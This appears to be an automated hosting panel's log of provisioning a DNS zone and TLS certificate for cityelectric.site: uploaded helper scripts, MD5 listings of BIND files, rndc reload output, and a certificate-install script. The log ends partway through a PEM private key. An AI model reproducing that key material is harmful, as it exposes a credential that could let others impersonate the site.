MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 81f36a028010960c977294c18c368717
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-26 15:00:55: Establishing a remote connection
2025-08-26 15:00:55: Establishing a remote connection
2025-08-26 15:00:55:
PUT: /tmp/pkp963336
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-08-26 15:00:55:
chmod 755 /tmp/pkp963336; /tmp/pkp963336; rm /tmp/pkp963336
0
2025-08-26 15:00:58: Establishing a connection
2025-08-26 15:00:58: Establishing a connection
2025-08-26 15:00:58:
PUT: /tmp/pkp629322
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-26 15:00:58:
runuser -l bind -s /bin/bash -c '/tmp/pkp629322; rm /tmp/pkp629322'
2025-08-26 15:00:58:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 81f36a028010960c977294c18c368717
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-26 15:00:58:
PUT: /tmp/pkp281453
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-08-26 15:00:58:
chmod 755 /tmp/pkp281453; /tmp/pkp281453; rm /tmp/pkp281453
2025-08-26 15:01:01:
rndc: 'freeze' failed: not dynamic
zone reload queued
STDERR:
rndc: 'freeze' failed: not dynamic
2025-08-26 15:01:01:
PUT: /tmp/pkp197825
#!/bin/bash
rndc reload cityelectric.site 2>&1
2025-08-26 15:01:01:
chmod 755 /tmp/pkp197825; /tmp/pkp197825; rm /tmp/pkp197825
2025-08-26 15:01:01:
zone reload up-to-date
2025-08-26 15:01:13: Establishing a remote connection
2025-08-26 15:01:14:
PUT: /tmp/pkp316564
#!/bin/bash
temp_file=$(mktemp)
chain_file=$(mktemp)
TARGET=8b681b324e20018bd65d7ce40680da56.crt
CHAINTARGET=8b681b324e20018bd65d7ce40680da56.chain.crt
cat > $temp_file <<'endmsg'
a1:41:c5:04:8a:e5:96:1a:82:90:c8:11:ee:4b:3c:b3
-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBkWM6USfxunk26dvcWzNo+Z4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODI2MTQwMjQxWhcNMjUxMTI0MTQwMjQwWjAcMRowGAYDVQQD
ExFjaXR5ZWxlY3RyaWMuc2l0ZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAPypQ1yjyOK0UXzRd+KAzbmUJ6DtxFzJRoFqHL6i+dTRxHLn/8JbTIorrafR
0w862yNHV5tqg1m2fmI97BqW0gCW3NsHmIr8PtE0VmBk8H+eEsHT2JS0R+Ymn6a1
RFtgeH4uEeC8Kxh/46DiQ6JeFa5YsdVN+Ky8ofAxOHX0oUklQAmVzWfuIyhoKxMM
EfmuCUNMOAza3lKVhs+5rXkzWp97yDRDuJ/werNN7u1urBzeaOzTUrd5tIhpS/a1
/13D+i6LPBWuppVKGRiPXpMLtztbcuau6nlaf1Oi4TpDwD06dXPOs++/JnacNHLt
TQbf4tGiIlYo7ohYpYk/c8gdIp8CAwEAAaOCAiMwggIfMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUfAKe5q80CHGSVolrs03zlmCQJccwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFjaXR5ZWxlY3RyaWMuc2l0
ZTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzEyMS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEA
dgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAAAZjm5bheAAAEAwBH
MEUCIQCobZUmwo95bGxtOXfUQMfKgVFtatb5YtOdXTm4t60c7gIgLxbF1zAV5Tjz
PBn6/Cmhi7SJzLgP9UvIYMb9xPFlfNEAdwAS8U40vVNyTIQGGcOPP3oT+Oe1YoeI
nG0wBYTr5YYmOgAAAZjm5cBCAAAEAwBIMEYCIQCLv7XssVTVEGCvXCY2ZOWN7ERL
DRbJ2wAmouX1ZBlT4AIhAIgEGjCKmulf1kkBJnKtl3TmSldmeUznVmA2M40G0uNJ
MA0GCSqGSIb3DQEBCwUAA4IBAQAF079oZ6UVKMF/BCx8Jh6/kl2D+dCNWe4VyIWm
eZnKD0gPvkXM4QqW3klaOVDNJ4R89nd8ZFwc6Qb965An7aljSEmaP4MU38W9ysxd
S5RjDhnU3C/cVZo7r6X+69JRVT4+u4y2HqNSDWFIXoozUMyzUA5Y89nLOnf8dNlD
mEOi2ARLgJ4WRed0CFm9UIqTtlDDvIhX3ugpfxB+whuV7+7hG4adJfCtTRx8XH8V
gSQrzbywU+MrzezfpeVvzP+1Y/A28a2NkaRf7gOQTNONcFbUsMmbxFO3lhTmNSlh
Uk3Tg4ravV91I2AROJL+zHaIXIl3Rowt17DM3UVXKQiPugGq
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQD8qUNco8jitFF8
0XfigM25lCeg7cRcyUaBahy+ovnU0cRy5//CW0yKK62n0dMPOtsjR1ebaoNZtn5i
